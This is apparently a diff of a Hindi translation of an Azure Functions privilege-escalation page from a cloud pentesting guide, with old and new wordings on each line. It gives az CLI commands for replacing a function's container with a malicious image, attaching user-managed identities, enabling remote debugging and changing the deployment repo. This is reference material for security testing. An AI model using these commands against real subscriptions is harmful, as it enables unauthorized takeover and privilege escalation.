यह भी संभव है कि आप निम्नलिखित URL में देखें कि कोई फ़ंक्शन सक्षम है या अक्षम (कोष्ठक में अनुमति का उपयोग करते हुए): यह भी देखा जा सकता है कि कोई function सक्षम है या अक्षम निम्न URL में (parenthesis में दिए गए permission का उपयोग करके):
```bash ```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01" az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
``` ```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
इन अनुमतियों के साथ, यह संभव है कि **एक फ़ंक्शन ऐप द्वारा चलाए जा रहे कंटेनर को संशोधित किया जा सके** जिसे एक कंटेनर चलाने के लिए कॉन्फ़िगर किया गया है। इससे एक हमलावर को एक दुर्भावनापूर्ण azure फ़ंक्शन कंटेनर ऐप को डॉकर हब (उदाहरण के लिए) पर अपलोड करऔर फ़ंक्शन को इसे निष्पादित करने की अनुमति मिलेगी इन permissions के साथ यह संभव है कि आप **function app द्वारा चलाए जा रहे container को संशोधित** कर सकें, जो container चलाने के लिए configured है। इससे एक attacker एक malicious azure function container app को docker hub (for example) पर upload करfunction को इसे चलाने के लिए मजबूर कर सकता है
```bash ```bash
az functionapp config container set --name <app-name> \ az functionapp config container set --name <app-name> \
--resource-group <res-group> \ --resource-group <res-group> \
@@ -343,29 +383,29 @@ az functionapp config container set --name <app-name> \
``` ```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
इन अनुमतियों के साथ, **एक नए उपयोगकर्ता प्रबंधित पहचान को एक फ़ंक्शन से जोड़ा जा सकता है**। यदि फ़ंक्शन से समझौता किया गया था, तो यह किसी भी उपयोगकर्ता प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति देगा इन permissions के साथ यह संभव है कि किसी function पर एक नया user managed identity attach किया जा सके। यदि function compromised हो गया हो तो इससे किसी भी user managed identity के privileges escalate किए जा सकेंगे
```bash ```bash
az functionapp identity assign \ az functionapp identity assign \
--name <app-name> \ --name <app-name> \
--resource-group <res-group> \ --resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name> --identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
``` ```
### Remote Debugging ### रिमोट डिबगिंग
यह भी संभव है कि एक चल रह Azure फ़ंक्शन [**दस्तावेज़ों में समझाया गया**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs) के रूप में डिबग करने के लिए कनेक्ट किया जाए। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर कमजोर कॉन्फ़िगरेशन छोड़ने से बचने के लिए भूल जाता है एक चल रह Azure function को डिबग करने के लिए कनेक्ट करना भी संभव है जैसाि [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा ताकि अगर डेवलपर भूल जाए तो कमजोर कॉन्फ़िगरेशन न रह जाएँ
यह जांचना संभव है कि क्या किसी फ़ंक्शन में डिबगिंग सक्षम है: यह जांचना संभव है कि किसी Function में debugging सक्षम है या नहीं, इसके लिए:
```bash ```bash
az functionapp show --name <app-name> --resource-group <res-group> az functionapp show --name <app-name> --resource-group <res-group>
``` ```
`Microsoft.Web/sites/config/write` अनुमति होने पर, एक फ़ंक्शन को डिबगिंग मोड में डालना भी संभव है (निम्नलिखित कमांड को भी `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` और `Microsoft.Web/sites/Read` अनुमतियों की आवश्यकता होती है)। यदि आपके पास अनुमति `Microsoft.Web/sites/config/write` है, तो किसी function को debugging mode में डालना भी संभव है (निम्नलिखित command के लिए `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` और `Microsoft.Web/sites/Read` अनुमतियाँ भी आवश्यक है)।
```bash ```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group> az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
``` ```
### Change Github repo ### Change Github repo
मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github रिपॉजिटरी को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, **नया कोड लोड नहीं हुआ** (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।\ मैंने उस Github repo को बदलने की कोशिश की जहाँ से deploying हो रहा था, निम्न commands चलाकर, लेकिन भले ही यह बदल भी गया, **नया कोड लोड नहीं हुआ था** (शायद क्योंकि यह Github Action से कोड अपडेट होने की उम्मीद कर रहा था).\
इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे नई रिपॉजिटरी की अनुमति नहीं मिली, इसलिए यह बहुत उपयोगी नहीं लगता इसके अलावा, **managed identity federated credential को नए repository को अनुमति देने के लिए अपडेट नहीं किया गया था**, इसलिए लगता है कि यह बहुत उपयोगी नहीं है
```bash ```bash
# Remove current # Remove current
az functionapp deployment source delete \ az functionapp deployment source delete \